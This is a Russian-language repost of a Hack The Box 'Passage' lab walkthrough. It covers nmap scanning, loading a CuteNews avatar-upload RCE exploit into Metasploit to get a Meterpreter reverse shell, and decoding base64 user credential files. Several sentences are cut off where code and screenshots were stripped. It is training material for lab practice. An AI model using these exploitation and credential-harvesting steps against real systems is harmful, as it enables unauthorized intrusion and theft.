Категория > Новости > HTB Passage. Эксплуатируем RCE в CuteNews и поднимаем привилегии через gdbus - «Новости»
HTB Passage. Эксплуатируем RCE в CuteNews и поднимаем привилегии через gdbus - «Новости»16-03-2021, 00:00. Автор: Аграфена |
Hack The Box и проэксплуатируем уязвимость в CMS CuteNews. Заодно научимся добавлять эксплоиты в базу Metasploit Framework, потренируемся в поиске важных для развития атаки файлов и узнаем, что такое D-Bus и как повысить привилегии с помощью USBCreator. Подключаться к лабораторной машине будем через VPN. Рекомендую не подключаться с рабочего компьютера или с хоста, где есть важные для тебя данные, так как ты попадешь в одну частную сеть с людьми, которые что‑то да умеют в области ИБ. ? warningВся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный в результате использования знаний и методов, описанных в статье. РазведкаСканирование портовМашина имеет IP-адрес 10.10.10.206, который я добавляю в
10.10.10.206 passage.htb
Любая атака начинается со сканирования открытых на хосте портов. Это необходимо для того, чтобы атакующий узнал, какие службы принимают соединение. Исходя из полученной информации, можно выбирать путь для получения точки входа и опоры. Я это делаю с помощью следующего скрипта, который использует утилиту Nmap и принимает один аргумент — адрес сканируемого хоста. Сначала скрипт использует Nmap, чтобы сделать обычное быстрое санирование. Затем он парсит все порты из вывода и повторяет сканирование только обнаруженных портов с использованием имеющихся скриптов (опция ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Результат работы скриптаМы имеем две службы — SSH (порт 22) и веб‑сервер Apache (порт 80). На SSH нам ловить нечего, так как единственное, что там можно делать, — это брутфорсить учетные данные. Брутфорс — последнее дело. Поэтому нам остается искать точку входа на сайте. Перейдя на сайт, легко определяем систему управления контентом — CMS CuteNews. Powered by CuteNews Точка входаПервым делом стоит проверить, есть ли для обнаруженной CMS уже готовые эксплоиты. Лучший способ это установить — поискать на сайтах вроде HackerOne, exploit-db, а также GitHub. Но если ты используешь специальный дистрибутив вроде Kali Linux, то база эксплоитов Exploit-DB уже у тебя на диске. Для удобной работы с данной базой можно использовать утилиту searchsploit, также предустановленную в дистрибутиве. Именно с помощью ее мы и находим ряд эксплоитов.
searchsploit cutenews
Эксплоиты, найденные searchsploitТак как мы не знаем версию CMS на атакуемом хосте, то следует выбрать эксплоит для более поздней (2.1.2). Лучше всего для нас, если отработает тот, который даст выполнение кода — RCE. Пометка Metasploit означает, что этот эксплоит уже выпущен для Metasploit Framework. Суть эксплуатируемой уязвимости в том, что при изменении аватарки профиля мы можем загрузить не только изображение, но и файл с расширением .php. К файлу затем можно обратиться, и это приведет к выполнению на сервере кода, содержащегося в метаданных файла‑изображения. ЗакреплениеТак как в поставку Metasploit Framework этот эксплоит не входит, его нужно добавить в базу. Для начала получим полный путь к файлу эксплоита (опция Добавление файла эксплоита в Metasploit Framework Авторы допустили ошибку: не хватает запятой. Откроем файл эксплоита и добавим ее, как указано на скриншоте ниже. Исправление ошибки в исходном коде эксплоита В Параметры эксплоита В качестве значения параметра Форма авторизации CuteNews Теперь, когда мы исправили ошибки в эксплоите и получили все необходимые данные для его работы, командой Обновление базы Metasploit Framework После успешного обновления базы загружаем наш эксплоит, задаем значения параметров и выполняем.
use exploit/46698
set username [имя зарегистрированного пользователя]
set password [пароль зарегистрированного пользователя]
set LHOST [наш IP-адрес]
set LPORT [локальный порт для прослушивания]
set RHOSTS [адрес цели]
run
Подключение к хосту с помощью эксплоита в среде Metasploit FrameworkВ отчете наблюдаем успешные подключение, авторизацию, загрузку файла на сервер и запуск нагрузки, что в итоге приводит нас к шеллу Meterpreter. Командой ПродвижениеCredential AccessТак как на хосте развернут веб‑сервер, а на нем работает целая CMS, то первое наше действие — попробовать получить какие‑нибудь пользовательские учетные данные. Высока вероятность, что эти учетки подойдут и для локальных пользователей тоже. В случае с CuteNews нас интересует директория Содержимое директории /cdata Здесь должны находиться файлы Содержимое директории /cdata/usersСодержимое файла lines Текст закодирован с помощью Base64. Немного преобразуем файл: исключим из него все строки, которые содержат подстроку
cat lines | grep -vphp | base64 -d
Декодирование строк из файла linesПерейти обратно к новости |